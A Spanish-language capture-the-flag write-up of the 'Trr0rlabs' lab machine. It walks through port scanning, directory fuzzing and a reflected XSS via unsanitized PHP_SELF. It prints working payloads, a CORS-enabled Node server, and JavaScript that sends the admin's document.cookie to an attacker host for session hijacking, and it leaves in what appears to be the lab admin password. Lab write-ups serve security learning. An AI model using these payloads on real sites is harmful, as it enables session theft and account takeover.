Trr0rlabs
Writeup de la máquina Trr0rlabs de BugBountyLabs.
Resumen de la resolución
trr0rlabs es una máquina Linux de dificultad Media (Avanzado) de la plataforma de BugBountyLabs. En ella explotaremos un XSS que se acontece gracias a la inexistente sanitización en $_SERVER["PHP_SELF"]. A partir del XSS conseguiremos robar la Cookie (Cookie Hijacking) del usuario administrador y leer la flag necesaria para completar el formulario.
Enumeración
Al ejecutar el script de autodeploy veremos su Dirección IP.
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con TTL próximo a 64 (63), además gracias al script whichSystem.py podremos conocer dicha información.
Nmap
En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 172.17.0.2 -oG allPorts
Observamos como nos reporta que se encuentra abiertos los puerto 22 y 80.
Ahora gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
En el segundo escaneo de Nmap lo que más nos llamará es la existencia del dominio trrorlabs.bbl.
Puerto 80 - HTTP (Apache)
Para poder acceder a la página web hemos de aplicar Virtual Hosting para ello añadiremos la siguiente línea 172.17.0.2 trr0rlabs.bbl al /etc/hosts.
La página web tiene el siguiente aspecto y veremos que somos un usuario normal ya que nuestro rol es user.
Tras navegar la página veremos que en hay un formulario en el cual podemos enviarle un link al usuario administrador, por lo que comprobaremos si realmente está funcionalidad está activa. Nos montaremos un servidor con python (python3 -m http.server 80) y realizaremos la siguiente petición.
Tal y como vemos a continuación, nos llega una petición de la máquina víctima por lo que se cumple lo que nos indica la página (el usuario administrador se encarga de revisar el link que le mandemos).
En este punto lo que se nos ocurre es intentar aplicar un Cookie Hijacking, por lo que nos crearemos un archivo JavaScript para robar la Cookie al usuario administrador.
1
2
3
var request = new XMLHttpRequest();
request.open('GET', 'http://172.17.0.1/?cookie=' + document.cookie);
request.send();
A continuación, como link enviaremos la dirección url donde está alojado el archivo de JavaScript encargado de robar la cookie.
Desafortunadamente, tal y como vemos a continuación nos llegará la petición al pwned.js pero no nos interpreta el contenido del mismo.
Enviando links al administrador no vamos a lograr nada por lo que se puede decir que estamos ante un Rabit Hole.
Pasaremos a realizar fuzzing de directorios usando Gobuster de la siguiente forma.
1
gobuster dir -u http://trr0rlabs.bbl -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
Entre todos los directorios que nos descubre nos llamará la atención el /db y el /backup.
En primer lugar, accederemos a /db y nos encontraremos con el archivo users.db.
Nos lo descargaremos y veremos que es un archivo de sqlite3.
Lo abriremos con sqlite3 y listaremos el contenido de la tabla users donde veremos una contraseña (hasheada) para el usuario admin.
La contraseña no vamos a ser capaces de crackearla, además sabemos que tenemos que explotar un XSS, por lo que se podría decir que estamos ante otro Rabit Hole.
Como crackeando la contraseña no llegaremos a nada pasaremos a mirar el directorio /backup donde encontraremos un archivo llamado backup.tar.gz.
Tras descargar dicho archivo seguidamente lo descomprimiremos.
1
tar -xf backup.tar.gz
Al descomprimirlo veremos la estructura de ficheros y directorios de la página web (trr0rlabs.bbl).
Al revisar el código de dichos archivos nos llamará la atención el siguiente fragmento <?php echo $_SERVER["PHP_SELF"] ?> presente en los archivos form.php y admin.php. Investigando por internet nos daremos cuenta que dicho fragmento de código es vulnerable a un XSS.
Explotación
XSS
Gracias a este foro PHP_SELF XSS - Stackoverflow sabremos como acontecer un XSS a partir de un <?php $_SERVER["PHP_SELF"], en definitiva sería tal que así.
1
trr0rlabs.bbl/form.php/"><h1>Hola</h1>
Tal y como vemos a continuación, estamos viendo que nos interpreta el código por que seguramente sea vulnerable a un XSS.
En este punto comprobaremos si nos interpreta JavaScript gracias a la siguiente inyección.
1
trr0rlabs.bbl/form.php/"><script>alert(0)</script>
Tal y como se aprecia en la captura de pantalla nos salta el alert por lo que afirmamos que es vulnerable a un XSS.
En este punto podemos pensar que hemos terminado el laboratorio, pero la finalidad del mismo es robarle la cookie al admin.
Para poder acontecer un Cookie Hijacking debemos de poder cargar un recurso externo, para ello en primer lugar probaremos la siguiente inyección.
1
trr0rlabs.bbl/form.php/"><script src="http://172.17.0.1"></script>
Como vemos no nos llega ninguna la petición por lo que no seremos capaces de acontecer el Cookie Hijacking con el anterior payload.
Tras buscar y buscar diferentes formas de cargar recursos externos me encontré con el siguiente recurso Load external resoruce vía XSS, en el cual se ejemplifican diferentes formas de cargar recursos externos.
Después de probar diferentes payloads el que realmente nos funcionará será el siguiente.
1
trr0rlabs.bbl/form.php/"><img src/onerror=import("http:172.17.0.1")>
Tal y como vemos a continuación, gracias a la anterior inyección conseguimos recibir la petición.
Usando el mismo payload comprobaremos si podemos cargar un recurso externo.
1
trr0rlabs.bbl/form.php/"><img src/onerror=import("http:172.17.0.1/pwned.js")>
Veremos que no recibimos ninguna petición por lo que algo está funcionando mal.
Mirando la consola de navegador veremos el siguiente error relacionado con la inexistencia de la cabecera Access-Control-Allow-Origin: * de tipo CORS (Cross-Origin Resource Sharing).
Tras indagar bastante sobre este error nos daremos cuenta que el servidor de python (python3 -m http.server 80) no nos sirve. Por lo que alternativamente nos montaremos un servidor de nodejs, el cual nos permitirá establecer dicha cabecera que habilitará el acceso a recursos compartidos.
Destacar que alternativamente también podemos montarnos un servidor de python personalizado gracias a la librería
http.server.
En primer lugar, debemos de tener instalado nodejs y npm, tras ello instalaremos con npm los siguiente paquetes.
1
2
npm install express
npm install cors
Una vez tengamos instalados los paquetes express y corss nos montaremos un servidor de nodejs donde serviremos nuestro archivo pwned.js.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const express = require('express');
const cors = require('cors');
const path = require('path');
const app = express();
// Habilitamos el cors, es decir establecemos la siguiente cabecera: Access-Control-Allow-Origin: *
app.use(cors());
app.get('/pwned.js', (req, res) => {
// Muy importante establecer la cabecera Content-Type ya que si no nos interpretará el código JavaScript.
res.setHeader('Content-Type', 'application/javascript');
res.sendFile(path.join(__dirname, 'pwned.js'));
});
app.listen(80, () => {
console.log('Servidor CORS-enabled escuchando en el puerto 80');
});
Modificaremos el archivo pwned.js con el siguiente contenido, básicamente hemos cambiado el puerto donde recibiremos la cookie.
1
2
3
var request = new XMLHttpRequest();
request.open('GET', 'http://172.17.0.1:8081/?cookie=' + document.cookie);
request.send();
Volveremos a realizar la misma petición de antes.
1
trr0rlabs.bbl/form.php/"><img src/onerror=import("http:172.17.0.1/pwned.js")>
Tal y como se evidencia somos capaces de ver nuestra propia cookie por lo que ya tenemos un link a través del cual podemos robarle la cookie al admin.
Enviaremos el siguiente link al usuario administrador para acontecer un Cookie Hijacking.
Se destaca la importancia de que el link se encuentre URL Encodeado, pues de diferente forma no funcionará.
1
http://trr0rlabs.bbl/form.php/%22%3E%3Cimg%20src/onerror=import('http:172.17.0.1/pwned.js')%3E
Tras esperar muy poco tiempo veremos que recibimos una petición de la Dirección IP 172.17.0.2, es decir de la máquina víctima por lo que supuestamente tenemos la cookie del usuario administrador gracias a un XSS y a la imprudencia de dicho usuario.
Nos copiaremos dicha cookie y la pondremos en el navegador accediendo a Application -> Cookies en las DevTools del navegador.
Tal y como vemos a continuación corroboraremos que dicha cookie es del usuario administrador.
Cambiar captura ya que la contraseña es trr0radmiñç
Atendiendo al mensaje accedemos a través de ssh y serremos capaces de verla flag necesaria para completar el formulario.
